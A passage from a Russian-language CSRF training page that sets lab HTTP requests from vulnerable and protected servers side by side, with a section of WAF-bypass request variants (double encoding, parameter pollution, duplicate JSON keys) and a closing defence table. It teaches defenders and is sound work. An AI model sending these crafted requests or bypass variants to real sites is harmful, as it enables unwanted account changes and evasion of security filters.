{"changed":true}
В чём разница: Это различие поведения браузера, не обход токена: если endpoint требует CSRF, оба варианта должны быть защищены.
Когда применимо: Cookie установлена с SameSite=None; Secure, не заблокирована настройкой браузера и backend не требует CSRF-токен.
Причина
Внешняя форма действует с сессией жертвы, если сервер полагается только на cookie.
Как защититься
CSRF-токен, строгий Origin/Fetch Metadata, уместный SameSite.
Источник: PortSwigger: SameSite cookies
Внешняя ссылка запускает top-level GET, которому браузер может добавить Lax-cookie.
Вариант 1 — Lax: GET как фоновый ресурс без cookie
HTTP-запрос 1
GET /account/email/change?email=demo@example.test HTTP/1.1
Host: account.example.test
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Ответ сервера 1
HTTP/1.1 401 Unauthorized
Content-Type: application/json
{"error":"Session cookie missing"}
Вариант 2 — Lax: top-level переход GET с cookie
HTTP-запрос 2
GET /account/email/change?email=demo@example.test HTTP/1.1
Host: account.example.test
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Cookie: session=victim_lab
Ответ сервера 2
HTTP/1.1 200 OK
Content-Type: application/json
{"changed":true}
В чём разница: При переходе верхнего уровня SameSite=Lax допускает session cookie, но запрос изображения из чужой страницы — нет.
Когда применимо: Маршрут реально изменяет email через GET; браузер выполняет переход в верхнем окне, session cookie SameSite=Lax.
Причина
Разработчик считает, что Lax автоматически защищает даже опасные GET.
Как защититься
Не изменять состояние через GET и проверять намерение пользователя.
Источник: PortSwigger: Lax via GET
В ряде браузеров недавно установленная cookie без явного SameSite может временно отправляться с top-level POST.
Вариант 1 — Старая cookie без явного SameSite — не отправлена
HTTP-запрос 1
POST /account/email HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Content-Type: application/x-www-form-urlencoded
email=demo@example.test
Ответ сервера 1
HTTP/1.1 401 Unauthorized
Content-Type: application/json
{"error":"Session cookie missing"}
Вариант 2 — Недавно созданная default-Lax cookie — отправлена
HTTP-запрос 2
POST /account/email HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=new_session_lab
Content-Type: application/x-www-form-urlencoded
email=demo@example.test
Ответ сервера 2
HTTP/1.1 200 OK
Content-Type: application/json
{"changed":true}
В чём разница: Исключение не применяется к явно установленному SameSite=Lax и зависит от конкретного браузера.
Когда применимо: Cookie не имеет явного SameSite и создана недавно; браузер поддерживает исключение lax-allowing-unsafe; речь не о явно установленном SameSite=Lax.
Причина
Сервер полагается только на default cookie policy, без CSRF-токена.
Как защититься
Явно настроить SameSite и обязательную серверную защиту.
Источник: MDN: SameSite (Lax-allowing-unsafe)
Соседние HTTPS-поддомены могут быть same-site, оставаясь разными origins.
Вариант 1 — Cross-site источник: Strict-cookie не отправлена
HTTP-запрос 1
POST /account/email HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Content-Type: application/x-www-form-urlencoded
email=demo@example.test
Ответ сервера 1
HTTP/1.1 401 Unauthorized
Content-Type: application/json
{"error":"Session cookie missing"}
Вариант 2 — Недоверенный sibling origin: cookie прикреплена
HTTP-запрос 2
POST /account/email HTTP/1.1
Host: account.example.test
Origin: https://docs.example.test
Sec-Fetch-Site: same-site
Cookie: session=victim_lab
Content-Type: application/x-www-form-urlencoded
email=demo@example.test
Ответ сервера 2
HTTP/1.1 200 OK
Content-Type: application/json
{"changed":true}
В чём разница: SameSite=Strict не означает same-origin. Соседний поддомен при общей schemeful site может инициировать authenticated запрос.
Когда применимо: Источник docs.example.test действительно недоверенный и контролируется атакующим; session cookie с SameSite=Strict отправляется в пределах same-site.
Причина
Backend доверяет всем same-site источникам, не проверяя точный origin/токен.
Как защититься
Строго проверять CSRF-токен и origin даже между поддоменами.
Источник: PortSwigger: sibling domains
Недоверенный URL активирует JavaScript на самом доверенном сайте, который отправляет внутреннее действие.
Вариант 1 — Шаг 1: открыта страница с управляемым параметром
HTTP-запрос 1
GET /dashboard?next=/account/email/change HTTP/1.1
Host: account.example.test
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Ответ сервера 1
HTTP/1.1 200 OK
Content-Type: text/html
<!doctype html><title>Dashboard</title>
Вариант 2 — Шаг 2: доверенный JavaScript отправил внутренний POST
HTTP-запрос 2
POST /account/email/change HTTP/1.1
Host: account.example.test
Origin: https://account.example.test
Sec-Fetch-Site: same-origin
Cookie: session=victim_lab
Content-Type: application/x-www-form-urlencoded
email=demo@example.test&csrf=victim_valid_secret
Ответ сервера 2
HTTP/1.1 200 OK
Content-Type: application/json
{"changed":true}
В чём разница: Второй запрос рождается внутри доверенного origin. Без реально существующего client-side gadget первого GET недостаточно.
Когда применимо: В приложении действительно есть client-side redirect/gadget, запускающий нужную операцию; само посещение URL не гарантирует её выполнения.
Причина
Сервер или браузер доверяют вторичному запросу, созданному своим origin, хотя команду задал недоверенный URL.
Как защититься
Не создавать опасные операции из URL; использовать реальное подтверждение действия.
Источник: PortSwigger: on-site gadgets
05 / Маршруты, методы и форматы HTTP 6 разборов
Защита может действовать на одном обработчике, но отсутствовать на другом, либо проверять внешний метод до его преобразования.
На новом endpoint токен обязателен, а старый маршрут меняет тот же объект без него.
Вариант 1 — Новый /v2: запрос без токена отклонён
HTTP-запрос 1
POST /v2/profile/email HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Content-Type: application/x-www-form-urlencoded
email=demo@example.test
Ответ сервера 1
HTTP/1.1 403 Forbidden
Content-Type: application/json
{"error":"CSRF validation failed"}
Вариант 2 — Старый /v1: аналогичный запрос проходит
HTTP-запрос 2
POST /v1/profile/email HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Content-Type: application/x-www-form-urlencoded
email=demo@example.test
Ответ сервера 2
HTTP/1.1 200 OK
Content-Type: application/json
{"changed":true}
В чём разница: Механизм — разные правила middleware на версиях API. Не путать с новым видом токена.
Когда применимо: Маршрут /v1/profile/email реально существует, доступен из браузера с cookie и выполняет изменение без CSRF-проверки.
Причина
Защита применяется только к одной реализации действия.
Как защититься
Общее middleware для всех routes, удаление устаревших endpoint.
Источник: OWASP: defense in depth
Внешний POST содержит поле `_method=DELETE`, которое сервер позже превращает в удаление.
Вариант 1 — Прямой DELETE: контроль требует CSRF
HTTP-запрос 1
DELETE /api/devices/101 HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Cookie: session=victim_lab
Ответ сервера 1
HTTP/1.1 403 Forbidden
Content-Type: application/json
{"error":"CSRF validation failed"}
Вариант 2 — POST-форма с _method=DELETE ошибочно проходит
HTTP-запрос 2
POST /api/devices/101 HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Content-Type: application/x-www-form-urlencoded
_method=DELETE&confirm=1
Ответ сервера 2
HTTP/1.1 200 OK
Content-Type: application/json
{"changed":true}
В чём разница: Обычная HTML-форма не отправляет DELETE напрямую, зато отправляет POST. Уязвимость требует реально включённого method override.
Когда применимо: В приложении реально включён method override и нет CSRF-проверки для результирующей операции. Прямой DELETE здесь служит только контрольной проверкой через HTTP-клиент: браузерный межсайтовый DELETE потребовал бы CORS preflight.
Причина
Проверка метода и бизнес-действие используют разные представления HTTP-операции.
Как защититься
Защищать любое изменение независимо от преобразования метода.
Начало процесса защищено, но отдельное подтверждение выполняется по cookie без защиты.
Вариант 1 — Шаг 1: владелец начал процедуру с токеном
HTTP-запрос 1
POST /account/email/start HTTP/1.1
Host: account.example.test
Origin: https://account.example.test
Cookie: session=victim_lab
Content-Type: application/x-www-form-urlencoded
email=demo@example.test&csrf=victim_valid_secret
Ответ сервера 1
HTTP/1.1 200 OK
Content-Type: application/json
{"workflow":"lab-77","status":"pending"}
Вариант 2 — Шаг 2: внешняя форма подтверждает без токена
HTTP-запрос 2
POST /account/email/confirm HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Content-Type: application/x-www-form-urlencoded
workflow=lab-77&approve=yes
Ответ сервера 2
HTTP/1.1 200 OK
Content-Type: application/json
{"changed":true}
В чём разница: Это два этапа одной процедуры; для второго атакующему дополнительно требуется действительный workflow ID жертвы.
Когда применимо: У атакующего есть действительный ID workflow lab-77, привязанный к сессии жертвы, а финальный endpoint доступен из внешней формы.
Причина
Проверка намерения происходит только на первом шаге, не при фактическом изменении.
Как защититься
Связать workflow с сессией и проверять финальное действие.
Источник: OWASP: CSRF prevention
Сервер ошибочно распознаёт тело обычной HTML-формы как JSON, хотя Content-Type — text/plain.
Вариант 1 — Строгий JSON без токена отклоняется
HTTP-запрос 1
POST /api/account/email HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Content-Type: application/json
{"email":"demo@example.test"}
Ответ сервера 1
HTTP/1.1 403 Forbidden
Content-Type: application/json
{"error":"CSRF validation failed"}
Вариант 2 — text/plain обработан как JSON и принят
HTTP-запрос 2
POST /api/account/email HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Content-Type: text/plain
{"email":"demo@example.test"}=
Ответ сервера 2
HTTP/1.1 200 OK
Content-Type: application/json
{"changed":true}
В чём разница: Браузер способен отправить text/plain через HTML-форму, но обычный строгий JSON parser отвергнет такое тело.
Когда применимо: Backend поддерживает нестандартный tolerant-parser и игнорирует завершающий '='. Стандартный JSON parser такой ввод отвергнет. Контрольный application/json POST может быть отправлен HTTP-клиентом; в браузере межсайтовая отправка потребует разрешённый preflight.
Причина
Разработчик считает, что JSON endpoint защищён от форм по умолчанию, а parser всё равно принимает их тело.
Как защититься
Проверять Content-Type, отклонять невалидный JSON и использовать CSRF-токен.
Источник: OWASP: CSRF prevention
Внешний JavaScript способен отправить JSON-запрос лишь при разрешённом preflight и учётных данных.
Вариант 1 — Шаг 1: CORS preflight разрешил источник
HTTP-запрос 1
OPTIONS /api/account/email HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type
Ответ сервера 1
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://attacker.example
Access-Control-Allow-Methods: POST
Access-Control-Allow-Headers: content-type
Access-Control-Allow-Credentials: true
Вариант 2 — Шаг 2: браузер отправил JSON POST с cookie
HTTP-запрос 2
POST /api/account/email HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Content-Type: application/json
{"email":"demo@example.test"}
Ответ сервера 2
HTTP/1.1 200 OK
Content-Type: application/json
Access-Control-Allow-Origin: https://attacker.example
Access-Control-Allow-Credentials: true
{"changed":true}
В чём разница: OPTIONS не содержит cookie. Для второго запроса дополнительно нужны credentials: include, SameSite=None; Secure и отсутствие блокировки cookie браузером.
Когда применимо: CORS preflight явно разрешает attacker.example, Content-Type и credentials; браузер действительно отправляет cookie (SameSite=None; Secure).
Причина
Неограниченный CORS сочетается с cookie-auth API без проверки CSRF.
Как защититься
Ограничить CORS allowlist и проверять CSRF/Origin отдельно.
Источник: OWASP: CSRF prevention
Это уточнение, а не подтверждённая уязвимость.
Это тот же механизм изменяющего GET, что и в пунктах 08 и 23, но на отдельном устаревшем API. Не является самостоятельной техникой JSONP и показан как частный случай для поиска забытых маршрутов.
HTTP-запрос
GET /api/notifications/disable?value=1 HTTP/1.1
Host: account.example.test
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Ответ учебного сервера
HTTP/1.1 200 OK
Content-Type: application/json
{"changed":true}
Когда применимо: GET endpoint действительно меняет настройку; browser navigation допускает cookie SameSite=Lax. Это повторение механизма GET, а не 32-й независимый способ.
Причина
Операция изменения состояния ошибочно реализована как безопасный GET.
Как защититься
Удалить state-changing GET endpoints; защищать запись токеном и проверкой источника.
Источник: PortSwigger: CSRF overview
06 / Вход, OAuth и составные сценарии 5 разборов
Отдельные механизмы login CSRF, OAuth state, WebSocket и сочетания с другой уязвимостью.
Внешняя форма авторизует браузер в заранее подготовленном учебном аккаунте атакующего.
HTTP-запрос
POST /login HTTP/1.1
Host: account.example.test
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Content-Type: application/x-www-form-urlencoded
username=attacker_lab&password=lab_password
Ответ учебного сервера
HTTP/1.1 302 Found
Location: /dashboard
Set-Cookie: session=lab_login; Secure; HttpOnly; SameSite=Lax
Когда применимо: Аккаунт attacker_lab существует, пароль известен атакующему, login endpoint не требует токена и выдаёт session cookie.
Причина
Жертва неожиданно работает внутри чужой учётной записи.
Как защититься
Защищать вход CSRF-токеном и безопасно создавать сеанс.
Источник: PortSwigger: CSRF overview
Подставляется действительный OAuth code для чужого аккаунта; callback не проверяет привязку к намерению жертвы.
Вариант 1 — Контроль: недействительный state отвергнут
HTTP-запрос 1
GET /oauth/callback?code=attacker_valid_lab_code&state=invalid_state HTTP/1.1
Host: account.example.test
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Ответ сервера 1
HTTP/1.1 403 Forbidden
Content-Type: text/plain
Invalid OAuth state
Вариант 2 — Без state callback ошибочно принят
HTTP-запрос 2
GET /oauth/callback?code=attacker_valid_lab_code HTTP/1.1
Host: account.example.test
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Ответ сервера 2
HTTP/1.1 200 OK
Content-Type: application/json
{"changed":true}
В чём разница: Такое сравнение относится только к реализации, которая проверяет предоставленный state, но не требует параметр, если его нет.
Когда применимо: Code действительно выпущен провайдером и подходит для клиента; сервер не требует state или другого механизма привязки. В варианте сравнения, когда передан явно неверный state, сервер отклоняет его, но при отсутствии state пропускает проверку.
Причина
Callback связывает чужой OAuth-аккаунт с текущим браузером.
Как защититься
Генерировать и проверять state, одноразовый и привязанный к конкретной авторизации.
Источник: PortSwigger: OAuth vulnerabilities
Сервер принимает повторно используемый или чужой state, хотя параметр присутствует.
Вариант 1 — Контроль: токен state в сессии его создателя
HTTP-запрос 1
GET /oauth/callback?code=attacker_valid_lab_code&state=reused_lab_state HTTP/1.1
Host: account.example.test
Sec-Fetch-Site: cross-site
Cookie: session=attacker_lab
Ответ сервера 1
HTTP/1.1 200 OK
Content-Type: application/json
{"changed":true}
Вариант 2 — Тот же state в посторонней сессии принят
HTTP-запрос 2
GET /oauth/callback?code=attacker_valid_lab_code&state=reused_lab_state HTTP/1.1
Host: account.example.test
Sec-Fetch-Site: cross-site
Cookie: session=victim_lab
Ответ сервера 2
HTTP/1.1 200 OK
Content-Type: application/json
{"changed":true}
В чём разница: Если state не связан с конкретной попыткой входа/сессией, наличие параметра само по себе не защищает callback.
Когда применимо: State действителен по общей проверке, но не связан с текущей сессией/попыткой; code также действителен.
Причина
Присутствие state ошибочно принимается за полноценную проверку намерения.
Как защититься
Одноразовый state на каждую попытку и обязательная связь с инициатором.
Источник: PortSwigger: OAuth vulnerabilities
Браузер может открыть WebSocket с другого origin, если сервер принимает cookie-auth handshake без проверки Origin.
Вариант 1 — Доверенный Origin: WebSocket подключён
HTTP-запрос 1
GET /ws/private HTTP/1.1
Host: account.example.test
Upgrade: websocket
Connection: Upgrade
Origin: https://account.example.test
Cookie: session=victim_lab
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Ответ сервера 1
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
Вариант 2 — Недоверенный Origin: WebSocket тоже подключён
HTTP-запрос 2
GET /ws/private HTTP/1.1
Host: account.example.test
Upgrade: websocket
Connection: Upgrade
Origin: https://attacker.example
Cookie: session=victim_lab
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Ответ сервера 2
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
В чём разница: Вторая пара отличается только Origin. Оба получают 101 при ошибочной проверке, если браузер прикладывает действительную cookie.
Когда применимо: Сессионная cookie доступна при WebSocket handshake; сервер действительно принимает сторонний Origin и разрешает подписаться/отправить действия от имени жертвы.
Причина
Отсутствует проверка допустимого Origin при установлении WS-соединения.
Как защититься
Проверять Origin на handshake, сессию и права на отдельные сообщения.
Если на самом доверенном сайте есть XSS, скрипт от его origin может получить CSRF-токен и выполнять действие.
HTTP-запрос
POST /account/email HTTP/1.1
Host: account.example.test
Origin: https://account.example.test
Sec-Fetch-Site: same-origin
Cookie: session=victim_lab
Content-Type: application/x-www-form-urlencoded
email=demo@example.test&csrf=token_read_by_xss
Ответ учебного сервера
HTTP/1.1 200 OK
Content-Type: application/json
{"changed":true}
Когда применимо: Выполненный на target-origin XSS действительно имеет доступ к DOM-токену. Это самостоятельная XSS-уязвимость, не обычный внешний CSRF.
Причина
CSRF-токен защищает от чужих сайтов, но не от исполненного внутри origin скрипта.
Как защититься
Устранять XSS, безопасно выводить данные; оставлять отдельную CSRF-защиту.
Источник: OWASP: CSRF prevention and XSS
04 / ОБХОД WAF
Обход WAF
Исходный запрос
POST /account/email HTTP/1.1
Content-Type: application/x-www-form-urlencoded
email=training%40exampleИзменённый запрос
POST /account/%65mail HTTP/1.1
Content-Type: application/x-www-form-urlencoded
email=training%40example- RAW
/account/%65mailВход содержит percent-encoded букву e.
- WAF
/account/%65mail или /account/emailРезультат зависит от URL-нормализации конкретного WAF.
- BACKEND
/account/emailРоутер должен действительно декодировать путь до применения маршрута.
- CSRF
token / Origin checkДаже если сигнатура WAF не совпала, серверная CSRF-защита обязана сработать.
Необходимое условие: WAF сравнивает сырую строку, а backend декодирует path; иначе расхождения нет.
Изменяется вид пути, не источник запроса и не SameSite.
Исходный запрос
POST /account/email HTTP/1.1
Content-Type: application/x-www-form-urlencoded
email=training%40exampleИзменённый запрос
POST /account/%2565mail HTTP/1.1
Content-Type: application/x-www-form-urlencoded
email=training%40example- RAW
%2565Закодирован символ %.
- WAF
%65 после первого decodeПервый decode ещё не создаёт букву e.
- BACKEND
email после второго decodeТолько второй реальный проход приводит к маршруту email.
- CSRF
проверка действияОбработчик должен требовать токен независимо от URI.
Необходимое условие: Обязательно наличие двух реальных стадий URL decode; без второй строка не превращается в email.
Это возможный обход грубого правила маршрута WAF, не обход CSRF-токена.
Исходный запрос
POST /profile/action HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=viewИзменённый запрос
POST /profile/action HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=view&action=delete- RAW
action=view&action=deleteОдин параметр встретился дважды.
- WAF
action=view (first — условно)Только если правило выбирает первое значение.
- BACKEND
action=delete (last — условно)Сервер может выбрать последнее при иной обработке формы.
- CSRF
token на удалениеПрава и CSRF должны проверяться для фактически выбранного действия.
Необходимое условие: WAF использует first-value, backend — last-value, и действие delete реально изменяет состояние.
Без подтверждённого расхождения парсеров HPP ничего не обходит.
Источник: OWASP WSTG — HTTP Parameter Pollution
Исходный запрос
POST /api/actions HTTP/1.1
Content-Type: application/json
{"action":"view"}Изменённый запрос
POST /api/actions HTTP/1.1
Content-Type: application/json
{"action":"view","action":"delete"}- RAW
{"action":"view","action":"delete"}Два поля action в одном JSON object.
- WAF
action=view (условно)Первый ключ может быть принят правилом WAF.
- BACKEND
action=delete (условно)Другой parser может выбрать последний ключ; многие просто отклоняют.
- CSRF
token / Origin checkДаже после выбора action сервер проверяет источник и токен.
Необходимое условие: Парсеры расходятся по дублирующимся ключам; отдельно нужен способ доставки JSON из другого origin (CORS/preflight), иначе это только WAF-тест.
Не считать произвольный cross-origin JSON доступным простой HTML-форме.
Источник: RFC 8259 — JSON
Исходный запрос
POST /api/actions HTTP/1.1
Content-Type: application/json
{"action":"delete"}Изменённый запрос
POST /api/actions HTTP/1.1
Content-Type: application/json
{"action":"\u0064elete"}- RAW
"\u0064elete"В JSON строке символ d заменён Unicode escape.
- WAF
\u0064eleteПримитивное текстовое правило может не сопоставить delete.
- BACKEND
delete после JSON parseСтандартный JSON parser восстановит значение строки.
- CSRF
token / Origin checkФормат не отменяет обязательной проверки источника.
Необходимое условие: WAF не разбирает JSON escape, backend разбирает; для межсайтового JSON необходим разрешённый preflight или другой реальный путь доставки.
Это обход правила анализа тела, не доказательство браузерной CSRF-эксплуатации.
Источник: RFC 8259 — JSON Unicode
Исходный запрос
DELETE /api/devices/101 HTTP/1.1
Host: account.exampleИзменённый запрос
POST /api/devices/101 HTTP/1.1
Host: account.example
Content-Type: application/x-www-form-urlencoded
_method=DELETE- RAW
POST + _method=DELETEВнешний HTTP-метод POST, в body параметр _method.
- WAF
POST (если правило проверяет только HTTP method)Без учёта method override правило DELETE может не сработать.
- BACKEND
DELETE (только при method-override middleware)Фреймворк может трактовать действие как DELETE.
- CSRF
запрет без токенаПроверка должна зависеть от реального изменения состояния, а не только метода в WAF.
Необходимое условие: Метод override включён в приложении и обрабатывается после WAF. Cross-site cookie должна быть приложена; CSRF-токен отдельно проверяется.
Не утверждать, что любой POST автоматически превращается в DELETE.
Источник: OWASP — CSRF Prevention
05 / ТЕОРИЯ И ЗАЩИТА
Теория и защита
Учебный случай: жертва уже вошла на account.example, а внешний сайт инициирует изменение email. Допустим, сессия разрешена для межсайтового POST (SameSite=None; Secure).
HTTP-запрос
POST /account/email HTTP/1.1
Host: account.example
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_demo
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
email=demo@example.test
Ответ сервера
HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-store
{"email_updated":true}
Что означают строки и заголовки
- POST /account/email
- Браузер запрашивает изменение адреса; POST способен менять состояние.
- Host
- Адрес сайта, который получает запрос: account.example.
- Origin
- Сайт-источник формы — attacker.example, а не account.example.
- Sec-Fetch-Site
- cross-site: запрос пришёл с другого сайта; заголовок формирует браузер.
- Cookie
- Браузер сам приложил сессию жертвы; это возможно только при подходящей cookie-политике.
- Content-Type
- Обычная HTML-форма передала данные как application/x-www-form-urlencoded.
- Content-Length
- Размер тела запроса в байтах; он не участвует в защите от CSRF.
- CSRF-токен отсутствует
- В теле нет проверяемого токена, и в этой учебной реализации сервер его не требует.
Сервер сохранил email, доверившись сессии. Именно нежелательное изменение, а не просто HTTP 200, подтверждает CSRF. Защищённый обработчик должен отклонить этот запрос.
Та же ситуация на защищённом обработчике: cookie позволяет узнать пользователя, но не подтверждает, что он намеренно отправил форму.
HTTP-запрос
POST /profile/phone HTTP/1.1
Host: account.example
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_demo
Content-Type: application/x-www-form-urlencoded
Content-Length: 17
phone=70000000000
Ответ сервера
HTTP/1.1 403 Forbidden
Content-Type: text/plain; charset=utf-8
Cache-Control: no-store
CSRF token missing
Что означают строки и заголовки
- Cookie
- Подтверждает сессию пользователя, но не происхождение его намерения.
- Origin
- Внешний источник; сервер может сравнить его с доверенным origin.
- Sec-Fetch-Site
- cross-site помогает распознать чужую страницу, если браузер прислал заголовок.
- Content-Type
- Форму можно отправить с другого сайта без произвольных HTTP-заголовков.
- 403 Forbidden
- Сервер отверг изменение из-за отсутствующего CSRF-токена — это защищённый результат.
Наличие cookie недостаточно. Сервер должен отдельно проверить защитный токен или допустимый источник запроса. Этот пример показывает уже исправленную реализацию.
Межсайтовый JavaScript может инициировать запрос при подходящих cookie и настройках, но не получает право читать ответ автоматически.
HTTP-запрос
GET /api/profile HTTP/1.1
Host: account.example
Origin: https://attacker.example
Sec-Fetch-Site: cross-site
Cookie: session=victim_demo
Ответ сервера
HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: private, no-store
{"display_name":"Victim"}
Что означают строки и заголовки
- GET /api/profile
- Чтение данных, а не изменение состояния: само по себе это не CSRF-действие.
- Origin
- Запрос выполняется со страницы другого origin.
- Cookie
- Может быть приложена, только если запрос использует credentials: include и политика cookie это допускает.
- Нет Access-Control-Allow-Origin
- Браузер не разрешит внешнему JavaScript прочитать тело ответа при обычной CORS-проверке.
- 200 OK
- Ответ дошёл до браузера, но это не значит, что скрипт с attacker.example может его прочесть.
CSRF прежде всего заставляет совершить действие, а не читать личные данные. Для чтения такого ответа потребовалась бы другая уязвимость или явно разрешённый CORS.
Источником запроса выступает недоверенный соседний поддомен. Для cookie это может быть same-site, но для проверки Origin — другой сайт по схеме origin.
HTTP-запрос
POST /team/8/preferences HTTP/1.1
Host: account.example.test
Origin: https://docs.example.test
Sec-Fetch-Site: same-site
Cookie: session=victim_demo
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
digest=off
Ответ сервера
HTTP/1.1 403 Forbidden
Content-Type: text/plain; charset=utf-8
Origin not allowed
Что означают строки и заголовки
- Host
- Цель — account.example.test, где расположено приложение.
- Origin
- Источником является docs.example.test: это другой origin.
- Sec-Fetch-Site
- same-site возможен, поскольку оба HTTPS-хоста принадлежат одному registrable domain.
- Cookie
- SameSite=Strict не исключает отправку cookie из недоверенного origin внутри того же site.
- 403 Forbidden
- Сервер сравнил точный доверенный Origin и отклонил запрос.
SameSite управляет отправкой cookie, проверка Origin различает источники, а CSRF-токен проверяется сервером. Все эти меры дополняют, а не заменяют одна другую.
| Мера защиты | Как защититься |
|---|---|
| Секретный CSRF-токен | Для запросов изменения состояния выдавать непредсказуемый токен и проверять его на сервере, связывая с сессией. Отсутствующий или неправильный токен — отказ. |
| Правильный SameSite | Настраивать session cookie с подходящими SameSite и Secure. Помнить, что Lax допускает cookie при межсайтовом top-level GET, а same-site поддомены не всегда доверенные. |
| Проверка Origin | Для чувствительных запросов сравнивать полный доверенный origin, а не искать его фрагмент внутри строки. Если источник неизвестен, применять предусмотренную безопасную политику или проверку токена. |
| Fetch Metadata | Использовать Sec-Fetch-Site для обнаружения подозрительных межсайтовых действий, предусматривая явную политику для браузеров без этих заголовков. |
| Не менять данные через GET | GET и другие safe-методы не должны создавать, удалять или подтверждать операции. Любое изменение выполнять защищённым запросом. |
| Защищать login и OAuth | Проверять CSRF при входе, а в OAuth использовать одноразовый state, привязанный к конкретной попытке и браузерной сессии. |
| Проверять каждый обработчик | Защищать не только основную страницу формы, но и API, старые маршруты, мобильные обработчики и финальные шаги многоэтапных действий. |
| Подтверждать критичные действия | Для особенно важных операций дополнять защиту повторным подтверждением или текущим фактором. Это снижает последствия обхода первичного механизма. |